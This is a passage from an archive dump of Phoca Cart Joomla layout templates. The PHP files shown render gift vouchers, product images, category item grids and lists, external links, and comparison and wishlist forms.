'<div'.$s['ph-gift-voucher-description'].'
class="'.$c['ph-gift-voucher-description'].'
phAOGiftDescription">'.$description.'</div>'.
"\n";
}
echo '<div'.$s['ph-gift-voucher-price'].'
id="phItemPriceGiftBox'. $d['typeview'] .
(int)$d['product_id'].'"
class="'.$c['ph-gift-voucher-price'].'">'
. $d['discount'].'</div>'. "\n";
if ($d['gift_sender_name'] != '') {
echo '<div'.$s['ph-gift-voucher-from'].'
class="'.$c['ph-gift-voucher-from'].'">'.JText::_('COM_PHOCACART_FROM').':
<span
class="phAOSenderName">'.$d['gift_sender_name'].'</span></div>'.
"\n";
}
if ($d['gift_recipient_name'] != '') {
echo '<div'.$s['ph-gift-voucher-to'].'
class="'.$c['ph-gift-voucher-to'].'">'.JText::_('COM_PHOCACART_TO').':
<span
class="phAORecipientName">'.$d['gift_recipient_name'].'</span></div>'.
"\n";
}
if ($d['gift_sender_message'] != '') {
echo '<div'.$s['ph-gift-voucher-message'].'
class="'.$c['ph-gift-voucher-message'].'
phAOSenderMessage">'.$d['gift_sender_message'].'</div>'.
"\n";
}
if ($d['code'] != '') {
echo '<div'.$s['ph-gift-voucher-code'].'
class="'.$c['ph-gift-voucher-code'].'
phAOGiftCode">'.$d['code'].'</div>'.
"\n";
}
if ($d['valid_to'] != '') {
echo '<div'.$s['ph-gift-voucher-date-to'].'
class="'.$c['ph-gift-voucher-date-to'].'">'.JText::_('COM_PHOCACART_VALID_TILL').':
<span
class="phAOGiftDate">'.$d['valid_to'].'</span></div>'.
"\n";
}
echo '<div> </div>';
echo '</td>'. "\n";// end ph-gift-voucher-col2
echo '</tr></table>';// end ph-gift-voucher-body
}
echo '</td></tr></table>'. "\n"; //
end ph-gift-voucher-box
$params =
$d['pdf_instance']->serializeTCPDFtagParameters(array('@'
. $svgScissors, $x='', $y='', $w='6',
$h='4', $link='', $align='R',
$palign='R', $border=0, $fitonpage=true));
echo '<div style="text-align:right"><tcpdf
style="text-align:right;" method="ImageSVG"
params="'.$params.'" /></div>';
echo '</div>';// end no br
}
?>
icon_checkout_status.php000064400000001754151165411770011514
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
// $d['number'];
// $d['suffix'];
// $d['status']; // 'finished' or 'pending'
// $d['type']; // parameter checkout_icon_status
$d['icon'] = $d['status'] == 'finished' ?
'ok' : 'not-ok';
$d['class'] =
$d['s']['i'][$d['icon']].
strip_tags($d['suffix']).'
ph-checkout-icon-'.$d['status'];
if ($d['type'] == 1) {
?><div class="<?php echo
$d['s']['c']['pull-right'] ?>">
<span class="ph-checkout-icon-spec-<?php echo
$d['status'];?>"><?php echo
$d['number'];?></span>
</div><?php
} else {
?><div class="<?php echo
$d['s']['c']['pull-right'] ?>">
<span class="<?php echo $d['class'];
?>"></span>
</div><?php
}
image.php000064400000007631151165411770006356 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
if ($d['t']['display_webp_images'] == 1) {
echo '<picture>';
echo ' <source type="image/webp"';
echo isset($d['srcset-webp']) ? '
srcset="'.$d['srcset-webp'].'"' : '
srcset=""';
echo isset($d['alt-value']) ? '
alt="'.$d['alt-value'].'"' : '
alt=""';
//echo isset($d['class']) && $d['class'] !=
'' ? '
class="'.$d['class'].'"' : '';
// TEST
//echo isset($d['style']) && $d['style'] !=
'' ? '
style="'.$d['style'].'"' : '';
// TEST
echo isset($d['data-image']) &&
$d['data-image'] != '' ? '
data-image="'.$d['data-image'].'"' :
'';
echo isset($d['data-image-small']) &&
$d['data-image-small'] != '' ? '
data-image-small="'.$d['data-image-small'].'"'
: '';
echo isset($d['data-image-medium']) &&
$d['data-image-medium'] != '' ? '
data-image-medium="'.$d['data-image-medium'].'"'
: '';
echo isset($d['data-image-large']) &&
$d['data-image-large'] != '' ? '
data-image-large="'.$d['data-image-large'].'"'
: '';
echo isset($d['data-image-original']) &&
$d['data-image-original'] != '' ? '
data-image-original="'.$d['data-image-original'].'"'
: '';
//echo isset($d['data-image-meta']) &&
$d['data-image-meta'] != '' ? '
data-image-meta="'.$d['data-image-meta'].'"'
: '';// Display only once in img tag
echo '/>';
echo ' <img';
echo isset($d['src']) ? '
src="'.$d['src'].'"' : '
src=""';
//echo isset($d['src']) ? '
srcset="'.$d['src'].'"' : '
srcset=""';
echo isset($d['alt-value']) ? '
alt="'.$d['alt-value'].'"' : '
alt=""';
echo isset($d['class']) && $d['class'] !=
'' ? '
class="'.$d['class'].'"' :
'';
echo isset($d['style']) && $d['style'] !=
'' ? '
style="'.$d['style'].'"' :
'';
echo isset($d['data-image']) &&
$d['data-image'] != '' ? '
data-image="'.$d['data-image'].'"' :
'';
echo isset($d['data-image-small']) &&
$d['data-image-small'] != '' ? '
data-image-small="'.$d['data-image-small'].'"'
: '';
echo isset($d['data-image-medium']) &&
$d['data-image-medium'] != '' ? '
data-image-medium="'.$d['data-image-medium'].'"'
: '';
echo isset($d['data-image-large']) &&
$d['data-image-large'] != '' ? '
data-image-large="'.$d['data-image-large'].'"'
: '';
echo isset($d['data-image-original']) &&
$d['data-image-original'] != '' ? '
data-image-original="'.$d['data-image-original'].'"'
: '';
echo isset($d['data-image-meta']) &&
$d['data-image-meta'] != '' ? '
data-image-meta="'.$d['data-image-meta'].'"'
: '';
echo '/>';
echo '</picture>';
} else {
echo '<img';
echo isset($d['src']) ? '
src="'.$d['src'].'"' : '
src=""';
echo isset($d['alt-value']) ? '
alt="'.$d['alt-value'].'"' : '
alt=""';
echo isset($d['class']) && $d['class'] !=
'' ? '
class="'.$d['class'].'"' :
'';
echo isset($d['style']) && $d['style'] !=
'' ? '
style="'.$d['style'].'"' :
'';
echo isset($d['data-image']) &&
$d['data-image'] != '' ? '
data-image="'.$d['data-image'].'"' :
'';
echo isset($d['data-image-small']) &&
$d['data-image-small'] != '' ? '
data-image-small="'.$d['data-image-small'].'"'
: '';
echo isset($d['data-image-medium']) &&
$d['data-image-medium'] != '' ? '
data-image-medium="'.$d['data-image-medium'].'"'
: '';
echo isset($d['data-image-large']) &&
$d['data-image-large'] != '' ? '
data-image-large="'.$d['data-image-large'].'"'
: '';
echo isset($d['data-image-original']) &&
$d['data-image-original'] != '' ? '
data-image-original="'.$d['data-image-original'].'"'
: '';
echo isset($d['data-image-meta']) &&
$d['data-image-meta'] != '' ? '
data-image-meta="'.$d['data-image-meta'].'"'
: '';
echo '/>';
}
?>
items_grid.php000064400000012752151165411770007422 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('product_image', null,
array('component' => 'com_phocacart'));
$layoutP = new JLayoutFile('product_price', null,
array('component' => 'com_phocacart'));
$layoutAB = new JLayoutFile('attribute_options_box', null,
array('component' => 'com_phocacart'));
$layoutV = new JLayoutFile('button_product_view', null,
array('component' => 'com_phocacart'));
$layoutPFS = new JLayoutFile('form_part_start_add_to_cart_list',
null, array('component' => 'com_phocacart'));
$layoutPFE = new JLayoutFile('form_part_end', null,
array('component' => 'com_phocacart'));
$layoutA = new JLayoutFile('button_add_to_cart_list', null,
array('component' => 'com_phocacart'));
$layoutA2 = new JLayoutFile('button_buy_now_paddle', null,
array('component' => 'com_phocacart'));
$layoutA3 = new JLayoutFile('button_external_link', null,
array('component' => 'com_phocacart'));
$layoutA4 = new JLayoutFile('button_quickview', null,
array('component' => 'com_phocacart'));
$layoutBSH = new JLayoutFile('button_submit_hidden', null,
array('component' => 'com_phocacart'));
$layoutQ = new JLayoutFile('button_ask_question', null,
array('component' => 'com_phocacart'));
$d = $displayData;
$t = $d['t'];
$s = $d['s'];
$col = $d['col'];
echo '<div
class="'.$s['c']['row-item'].'
'.$s['c']["col.xs12.sm{$col}.md{$col}"].'">';
echo '<div class="ph-item-box
'.$d['lt'].'">';
if (!empty($d['labels'])) { echo '<div
class="ph-label-box">' . $d['labels'] .
'</div>';}
echo '<div
class="'.PhocacartRenderFront::completeClass(array($s['c']['thumbnail'],
'ph-thumbnail', 'ph-thumbnail-c', 'ph-item',
$t['class_fade_in_action_icons'],
$d['lt'])).'">';
echo '<div class="ph-item-content
'.$d['lt'].'">';
echo '<div
class="'.$s['c']['cat_item_grid'].'
ph-category-action-box-icons
'.$d['lt'].'">';
// :L: IMAGE
echo '<a
href="'.$d['link'].'">';
if (!empty($d['layout']['dI'])) { echo
$layoutI->render($d['layout']['dI']);}
echo '</a>';
echo '<div
class="'.$s['c']['cat_item_btns'].'
ph-category-action-icons '.$d['lt'].'">';
if ($t['fade_in_action_icons'] == 0 &&
$t['display_action_icons'] == 1) {
echo $d['icon']['compare']; // if set in options,
it will be displayed on other place, so this is why it is printed this way
echo $d['icon']['wishlist'];
echo $d['icon']['quickview'];
echo $d['icon']['addtocart'];
}
echo '</div>';// end category_action_box_icons
echo '</div>';// end category_action_icons
echo '<div class="ph-cb"></div>';
// CAPTION, DESCRIPTION BOX
echo $d['product_header'];
// REVIEW - STAR RATING
if (!empty($d['review'])) { echo $d['review'];}
// DESCRIPTION
if (!empty($d['description'])) { echo
$d['description'];}
// TAGS
if (!empty($d['tags'])) { echo '<div
class="ph-tag-box">' . '<span
class="ph-tag-box-header">'.JText::_('COM_PHOCACART_TAGS').
'</span>: ' . $d['tags'] .
'</div>';}
// MANUFACTURER
if (!empty($d['manufacturer'])) { echo '<div
class="ph-manufacturer-box">' . '<span
class="ph-manufacturer-box-header">'.JText::_('COM_PHOCACART_MANUFACTURER').
'</span>: ' . $d['manufacturer'] .
'</div>';}
echo '<div class="ph-item-action-box ph-caption
ph-category-action-box-buttons
'.$d['lt'].'">';
// :L: PRICE
if (!empty($d['layout']['dP'])) { echo
$layoutP->render($d['layout']['dP']);}
// ACTION BUTTONS
echo '<div class="ph-category-action-buttons
'.$d['lt'].'">';
// :L: Stock status
if (!empty($d['layout']['dSO'])) { echo
$d['layout']['dSO'];}
// Start Form
if (!empty($d['layout']['dF'])) { echo
$layoutPFS->render($d['layout']['dF']);}
// :L: ATTRIBUTES AND OPTIONS
if (!empty($d['layout']['dAb'])) { echo
$layoutAB->render($d['layout']['dAb']);}
// :L: LINK TO PRODUCT VIEW
if (!empty($d['layout']['dV'])) { echo
$layoutV->render($d['layout']['dV']);}
// :L: ADD TO CART
if (!empty($d['layout']['dA'])) { echo
$layoutA->render($d['layout']['dA']);} else if
($d['icon']['addtocart'] != '') { echo
$layoutBSH->render();}
// :L: ASK A QUESTION
if (!empty($d['layout']['dQ'])) { echo
$layoutQ->render($d['layout']['dQ']);}
// End Form
if (!empty($d['layout']['dF'])) { echo
$layoutPFE->render();}
if (!empty($d['layout']['dA2'])) { echo
$layoutA2->render($d['layout']['dA2']);}
if (!empty($d['layout']['dA3'])) { echo
$layoutA3->render($d['layout']['dA3']);}
if (!empty($d['layout']['dA4'])) { echo
$layoutA4->render($d['layout']['dA4']);}
echo '</div>';// end category_action_buttons
echo $d['event']['onCategoryItemsItemAfterAddToCart'];
echo '<div class="ph-cb"></div>';
if ($t['fade_in_action_icons'] == 1 &&
$t['display_action_icons'] == 1) {
echo '<div class="ph-category-action-box-fade-icons
'.$d['lt'].'">';
echo '<div class="ph-item-action-fade
ph-category-action-fade-icons
'.$d['lt'].'">';
echo $d['icon']['compare'];
echo $d['icon']['wishlist'];
echo $d['icon']['quickview'];
echo $d['icon']['addtocart'];
echo '</div>';
echo '</div>';
}
echo '</div>';// end category_action_box_buttons
echo '</div>';// end category_row_item_box_wrap_content
echo '</div>';// end category_row_item_box_wrap
echo '</div>';// end category_row_item_box
echo '</div>';// end category_row_item_grid
echo "\n";
?>
items_gridlist.php000064400000014316151165411770010314 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('product_image', null,
array('component' => 'com_phocacart'));
$layoutP = new JLayoutFile('product_price', null,
array('component' => 'com_phocacart'));
$layoutAB = new JLayoutFile('attribute_options_box', null,
array('component' => 'com_phocacart'));
$layoutV = new JLayoutFile('button_product_view', null,
array('component' => 'com_phocacart'));
$layoutPFS = new JLayoutFile('form_part_start_add_to_cart_list',
null, array('component' => 'com_phocacart'));
$layoutPFE = new JLayoutFile('form_part_end', null,
array('component' => 'com_phocacart'));
$layoutA = new JLayoutFile('button_add_to_cart_list', null,
array('component' => 'com_phocacart'));
$layoutA2 = new JLayoutFile('button_buy_now_paddle', null,
array('component' => 'com_phocacart'));
$layoutA3 = new JLayoutFile('button_external_link', null,
array('component' => 'com_phocacart'));
$layoutA4 = new JLayoutFile('button_quickview', null,
array('component' => 'com_phocacart'));
$layoutBSH = new JLayoutFile('button_submit_hidden', null,
array('component' => 'com_phocacart'));
$layoutQ = new JLayoutFile('button_ask_question', null,
array('component' => 'com_phocacart'));
$d = $displayData;
$t = $d['t'];
$s = $d['s'];
echo '<div
class="'.$s['c']['row-item'].'
'.$s['c']["col.xs12.sm12.md12"].'
'.$d['lt'].'">';
echo '<div class="ph-item-box
'.$d['lt'].'">';
if (!empty($d['labels'])) { echo '<div
class="ph-label-box">' . $d['labels'] .
'</div>';}
//echo '<div
class="'.PhocacartRenderFront::completeClass(array($s['c']['thumbnail'],
'ph-thumbnail', 'ph-thumbnail-c', 'ph-item',
$t['class_fade_in_action_icons'],
$d['lt'])).'">';
echo '<div
class="'.$t['class_fade_in_action_icons'].'
ph-thumbnail ph-thumbnail-c ph-item
'.$d['lt'].'">';
echo '<div class="ph-item-content
'.$d['lt'].'">';
echo '<div
class="'.$s['c']['row'].'
ph-item-content-row '.$d['lt'].'">';
// 1/2
echo '<div
class="'.$s['c']['row-item'].'
'.$s['c']['col.xs12.sm6.md6'].'
'.$d['lt'].'">';
// :L: IMAGE
echo '<a
href="'.$d['link'].'">';
if (!empty($d['layout']['dI'])) { echo
$layoutI->render($d['layout']['dI']);}
echo '</a>';
echo '</div>';// end category_row_item_gridlist_inner_c1
1/2
// 2/2
echo '<div
class="'.$s['c']['row-item'].'
'.$s['c']['col.xs12.sm6.md6'].'
'.$d['lt'].'">';
// CAPTION, DESCRIPTION BOX
echo '<div class="ph-item-action-box ph-caption
'.$d['lt'].'">';
echo $d['product_header'];
// :L: PRICE
if (!empty($d['layout']['dP'])) { echo
$layoutP->render($d['layout']['dP']);}
if ($t['fade_in_action_icons'] == 0 &&
$t['display_action_icons'] == 1) {
echo '<div
class="'.$s['c']['cat_item_grid'].'
ph-category-action-box-icons
'.$d['lt'].'">';
echo '<div
class="'.$s['c']['cat_item_btns'].'
ph-category-action-icons '.$d['lt'].'">';
echo $d['icon']['compare']; // if set in options,
it will be displayed on other place, so this is why it is printed this way
echo $d['icon']['wishlist'];
echo $d['icon']['quickview'];
echo $d['icon']['addtocart'];
echo '</div>';// end category_action_box_icons
echo '</div>';// end category_action_icons
}
// REVIEW - STAR RATING
if (!empty($d['review'])) { echo $d['review'];}
// DESCRIPTION
if (!empty($d['description'])) { echo
$d['description'];}
// TAGS
if (!empty($d['tags'])) { echo '<div
class="ph-tag-box">' . '<span
class="ph-tag-box-header">'.JText::_('COM_PHOCACART_TAGS').
'</span>: ' . $d['tags'] .
'</div>';}
// MANUFACTURER
if (!empty($d['manufacturer'])) { echo '<div
class="ph-manufacturer-box">' . '<span
class="ph-manufacturer-box-header">'.JText::_('COM_PHOCACART_MANUFACTURER').
'</span>: ' . $d['manufacturer'] .
'</div>';}
// VIEW PRODUCT BUTTON
echo '<div class="ph-item-action-box ph-caption
ph-category-action-box-buttons
'.$d['lt'].'">';
echo '<div class="ph-category-action-buttons
'.$d['lt'].'">';
// :L: Stock status
if (!empty($d['layout']['dSO'])) { echo
$d['layout']['dSO'];}
// Start Form
if (!empty($d['layout']['dF'])) { echo
$layoutPFS->render($d['layout']['dF']);}
// :L: ATTRIBUTES AND OPTIONS
if (!empty($d['layout']['dAb'])) { echo
$layoutAB->render($d['layout']['dAb']);}
// :L: LINK TO PRODUCT VIEW
if (!empty($d['layout']['dV'])) { echo
$layoutV->render($d['layout']['dV']);}
// :L: ADD TO CART
if (!empty($d['layout']['dA'])) { echo
$layoutA->render($d['layout']['dA']);} else if
($d['icon']['addtocart'] != '') { echo
$layoutBSH->render();}
// :L: ASK A QUESTION
if (!empty($d['layout']['dQ'])) { echo
$layoutQ->render($d['layout']['dQ']);}
// End Form
if (!empty($d['layout']['dF'])) { echo
$layoutPFE->render();}
if (!empty($d['layout']['dA2'])) { echo
$layoutA2->render($d['layout']['dA2']);}
if (!empty($d['layout']['dA3'])) { echo
$layoutA3->render($d['layout']['dA3']);}
if (!empty($d['layout']['dA4'])) { echo
$layoutA4->render($d['layout']['dA4']);}
echo '</div>';// end category_action_buttons
echo $d['event']['onCategoryItemsItemAfterAddToCart'];
echo '<div class="ph-cb"></div>';
if ($t['fade_in_action_icons'] == 1 &&
$t['display_action_icons'] == 1) {
echo '<div class="ph-category-action-box-fade-icons
'.$d['lt'].'">';
echo '<div class="ph-item-action-fade
ph-category-action-fade-icons
'.$d['lt'].'">';
echo $d['icon']['compare'];
echo $d['icon']['wishlist'];
echo $d['icon']['quickview'];
echo $d['icon']['addtocart'];
echo '</div>';
echo '</div>';
}
echo '</div>';// end category_action_box_buttons
echo '</div>';// end
category_row_item_box_wrap_content_caption
echo '<div class="ph-cb"></div>';
echo '</div>';// end category_row_item_gridlist_inner_c2
2/2
echo '</div>';// end category_row_gridlist_inner
echo '<div class="ph-cb"></div>';
echo '</div>';// end category_row_item_box_wrap_content
echo '</div>';// end category_row_item_box_wrap
echo '</div>';// end category_row_item_box
echo '</div>';// end category_row_item_gridlist
echo "\n";
?>
items_list.php000064400000014314151165411770007444 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('product_image', null,
array('component' => 'com_phocacart'));
$layoutP = new JLayoutFile('product_price', null,
array('component' => 'com_phocacart'));
$layoutAB = new JLayoutFile('attribute_options_box', null,
array('component' => 'com_phocacart'));
$layoutV = new JLayoutFile('button_product_view', null,
array('component' => 'com_phocacart'));
$layoutPFS = new JLayoutFile('form_part_start_add_to_cart_list',
null, array('component' => 'com_phocacart'));
$layoutPFE = new JLayoutFile('form_part_end', null,
array('component' => 'com_phocacart'));
$layoutA = new JLayoutFile('button_add_to_cart_list', null,
array('component' => 'com_phocacart'));
$layoutA2 = new JLayoutFile('button_buy_now_paddle', null,
array('component' => 'com_phocacart'));
$layoutA3 = new JLayoutFile('button_external_link', null,
array('component' => 'com_phocacart'));
$layoutA4 = new JLayoutFile('button_quickview', null,
array('component' => 'com_phocacart'));
$layoutBSH = new JLayoutFile('button_submit_hidden', null,
array('component' => 'com_phocacart'));
$layoutQ = new JLayoutFile('button_ask_question', null,
array('component' => 'com_phocacart'));
$d = $displayData;
$t = $d['t'];
$s = $d['s'];
echo '<div
class="'.$s['c']['row-item'].'
'.$s['c']["col.xs12.sm12.md12"].'
'.$d['lt'].'">';
echo '<div class="ph-item-box
'.$d['lt'].'">';
if (!empty($d['labels'])) { echo '<div
class="ph-label-box">' . $d['labels'] .
'</div>';}
echo '<div
class="'.PhocacartRenderFront::completeClass(array($s['c']['thumbnail'],
'ph-thumbnail', 'ph-thumbnail-c', 'ph-item',
$t['class_fade_in_action_icons'],
$d['lt'])).'">';
echo '<div class="ph-item-content
'.$d['lt'].'">';
echo '<div
class="'.$s['c']['row'].'
'.$s['c']['cat_list'].' ph-item-content-row
'.$d['lt'].'">';
// 1/3
echo '<div
class="'.$s['c']['row-item'].'
'.$s['c']['col.xs12.sm2.md2'].'
'.$d['lt'].'">';
// :L: IMAGE
echo '<a
href="'.$d['link'].'">';
if (!empty($d['layout']['dI'])) { echo
$layoutI->render($d['layout']['dI']);}
echo '</a>';
echo '</div>';// end category_row_item_list_inner_c1 1/3
// 2/3
echo '<div
class="'.$s['c']['row-item'].'
'.$s['c']['col.xs12.sm5.md5'].'
'.$d['lt'].'">';
// CAPTION, DESCRIPTION BOX
echo '<div class="ph-item-action-box ph-caption
'.$d['lt'].'">';
echo $d['product_header'];
// DESCRIPTION
if (!empty($d['description'])) { echo
$d['description'];}
// TAGS
if (!empty($d['tags'])) { echo '<div
class="ph-tag-box">' . '<span
class="ph-tag-box-header">'.JText::_('COM_PHOCACART_TAGS').
'</span>: ' . $d['tags'] .
'</div>';}
// MANUFACTURER
if (!empty($d['manufacturer'])) { echo '<div
class="ph-manufacturer-box">' . '<span
class="ph-manufacturer-box-header">'.JText::_('COM_PHOCACART_MANUFACTURER').
'</span>: ' . $d['manufacturer'] .
'</div>';}
echo '</div>';// end
category_row_item_box_wrap_content_caption
echo '</div>';// end category_row_item_list_inner_c2 2/3
// 3/3
echo '<div
class="'.$s['c']['col.xs12.sm5.md5'].'
'.$d['lt'].'">';
// :L: PRICE
if (!empty($d['layout']['dP'])) { echo
$layoutP->render($d['layout']['dP']);}
if ($t['fade_in_action_icons'] == 0 &&
$t['display_action_icons'] == 1) {
echo '<div
class="'.$s['c']['cat_item_grid'].'
ph-category-action-box-icons
'.$d['lt'].'">';
echo '<div
class="'.$s['c']['cat_item_btns'].'
ph-category-action-icons '.$d['lt'].'">';
echo $d['icon']['compare']; // if set in options,
it will be displayed on other place, so this is why it is printed this way
echo $d['icon']['wishlist'];
echo $d['icon']['quickview'];
echo $d['icon']['addtocart'];
echo '</div>';// end category_action_box_icons
echo '</div>';// end category_action_icons
}
// REVIEW - STAR RATING
if (!empty($d['review'])) { echo $d['review'];}
// VIEW PRODUCT BUTTON
echo '<div class="ph-item-action-box ph-caption
ph-category-action-box-buttons
'.$d['lt'].'">';
echo '<div class="ph-category-action-buttons
'.$d['lt'].'">';
// :L: Stock status
if (!empty($d['layout']['dSO'])) { echo
$d['layout']['dSO'];}
// Start Form
if (!empty($d['layout']['dF'])) { echo
$layoutPFS->render($d['layout']['dF']);}
// :L: ATTRIBUTES AND OPTIONS
if (!empty($d['layout']['dAb'])) { echo
$layoutAB->render($d['layout']['dAb']);}
// :L: LINK TO PRODUCT VIEW
if (!empty($d['layout']['dV'])) { echo
$layoutV->render($d['layout']['dV']);}
// :L: ADD TO CART
if (!empty($d['layout']['dA'])) { echo
$layoutA->render($d['layout']['dA']);} else if
($d['icon']['addtocart'] != '') { echo
$layoutBSH->render();}
// :L: ASK A QUESTION
if (!empty($d['layout']['dQ'])) { echo
$layoutQ->render($d['layout']['dQ']);}
// End Form
if (!empty($d['layout']['dF'])) { echo
$layoutPFE->render();}
if (!empty($d['layout']['dA2'])) { echo
$layoutA2->render($d['layout']['dA2']);}
if (!empty($d['layout']['dA3'])) { echo
$layoutA3->render($d['layout']['dA3']);}
if (!empty($d['layout']['dA4'])) { echo
$layoutA4->render($d['layout']['dA4']);}
echo '</div>';// end category_action_buttons
echo $d['event']['onCategoryItemsItemAfterAddToCart'];
echo '<div class="ph-cb"></div>';
if ($t['fade_in_action_icons'] == 1 &&
$t['display_action_icons'] == 1) {
echo '<div class="ph-category-action-box-fade-icons
'.$d['lt'].'">';
echo '<div class="ph-item-action-fade
ph-category-action-fade-icons
'.$d['lt'].'">';
echo $d['icon']['compare'];
echo $d['icon']['wishlist'];
echo $d['icon']['quickview'];
echo $d['icon']['addtocart'];
echo '</div>';
echo '</div>';
}
echo '</div>';// end category_action_box_buttons
echo '<div class="ph-cb"></div>';
echo '</div>';// end category_row_item_gridlist_inner_c3
3/3
echo '</div>';// end category_row_gridlist_inner
echo '</div>';// end category_row_item_box_wrap_content
echo '</div>';// end category_row_item_box_wrap
echo '</div>';// end category_row_item_box
echo '</div>';// end category_row_item_list
echo "\n";
?>
link_external_link.php000064400000001233151165411770011140
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
?>
<div class="ph-pull-right">
<div class="ph-external-link"><?php
if ($d['title'] != '') {
echo '<a
href="'.$d['linkexternal'].'"
target="_blank">'.$d['title'].'</a>';
} else {
echo '<a
href="'.$d['linkexternal'].'"
target="_blank">'.$d['linkexternal'].'</a>';
}
?></div>
</div>list_compare.php000064400000005155151165411770007754
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
if (!empty($d['compare'])) {
foreach ($d['compare'] as $k => $v) {
// Try to find the best menu link
if (isset($v->catid2) && (int)$v->catid2 > 0 &&
isset($v->catalias2) && $v->catalias2 != '') {
$linkProduct = JRoute::_(PhocacartRoute::getItemRoute($v->id,
$v->catid2, $v->alias, $v->catalias2));
} else {
$linkProduct = JRoute::_(PhocacartRoute::getItemRoute($v->id,
$v->catid, $v->alias, $v->catalias));
}
?>
<div class="<?php echo
$d['s']['c']['row'] ?>">
<div class="<?php echo
$d['s']['c']['col.xs12.sm8.md8']
?>"><a href="<?php echo $linkProduct;
?>"><?php echo $v->title; ?></a></div>
<div class="<?php echo
$d['s']['c']['col.xs12.sm4.md4']
?>">
<form action="<?php echo $d['linkcomparison'];
?>" method="post" id="phCompareRemove<?php echo
(int)$v->id; ?>">
<input type="hidden" name="id"
value="<?php echo (int)$v->id; ?>">
<input type="hidden" name="task"
value="comparison.remove">
<input type="hidden" name="tmpl"
value="component" />
<input type="hidden" name="option"
value="com_phocacart" />
<input type="hidden" name="return"
value="<?php echo $d['actionbase64']; ?>" />
<div class="<?php echo
$d['s']['c']['pull-right'] ?>">
<?php if (isset($d['method']) &&
(int)$d['method'] > 0) { ?>
<div class="ph-category-item-compare"><a
href="javascript:void(0)"
onclick="phItemRemoveCompareFormAjax('phCompareRemove<?php
echo (int)$v->id; ?>');" title="<?php echo
JText::_('COM_PHOCACART_REMOVE_FROM_COMPARISON_LIST');
?>"><span class="<?php echo
$d['s']['i']['remove']
?>"></span></a></div>
<?php } else { ?>
<div class="ph-category-item-compare"><a
href="javascript:void(0)"
onclick="document.getElementById('phCompareRemove<?php echo
(int)$v->id; ?>').submit();" title="<?php echo
JText::_('COM_PHOCACART_REMOVE_FROM_COMPARISON_LIST');
?>"><span class="<?php echo
$d['s']['i']['remove']
?>"></span></a></div>
<?php } ?>
</div>
<?php echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
?>
</form>
</div>
</div>
<?php
}
} else {
echo
'<div>'.JText::_('COM_PHOCACART_COMPARISON_LIST_IS_EMPTY').'</div>';
}
?>
<div class="ph-small ph-right ph-u
ph-cart-link-compare"><a href="<?php echo
$d['linkcomparison']; ?>"><?php echo
JText::_('COM_PHOCACART_VIEW_COMPARISON_LIST');
?></a></div>
list_wishlist.php000064400000005073151165411770010173 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
if (!empty($d['wishlist'])) {
foreach ($d['wishlist'] as $k => $v) {
// Try to find the best menu link
if (isset($v->catid2) && (int)$v->catid2 > 0 &&
isset($v->catalias2) && $v->catalias2 != '') {
$linkProduct = JRoute::_(PhocacartRoute::getItemRoute($v->id,
$v->catid2, $v->alias, $v->catalias2));
} else {
$linkProduct = JRoute::_(PhocacartRoute::getItemRoute($v->id,
$v->catid, $v->alias, $v->catalias));
}
?>
<div class="<?php echo
$d['s']['c']['row'] ?>">
<div class="<?php echo
$d['s']['c']['col.xs12.sm8.md8']
?>"><a href="<?php echo $linkProduct;
?>"><?php echo $v->title; ?></a></div>
<div class="<?php echo
$d['s']['c']['col.xs12.sm4.md4']
?>">
<form action="<?php echo $d['linkwishlist'];
?>" method="post" id="phWishListRemove<?php echo
(int)$v->id; ?>">
<input type="hidden" name="id"
value="<?php echo (int)$v->id; ?>">
<input type="hidden" name="task"
value="wishlist.remove">
<input type="hidden" name="tmpl"
value="component" />
<input type="hidden" name="option"
value="com_phocacart" />
<input type="hidden" name="return"
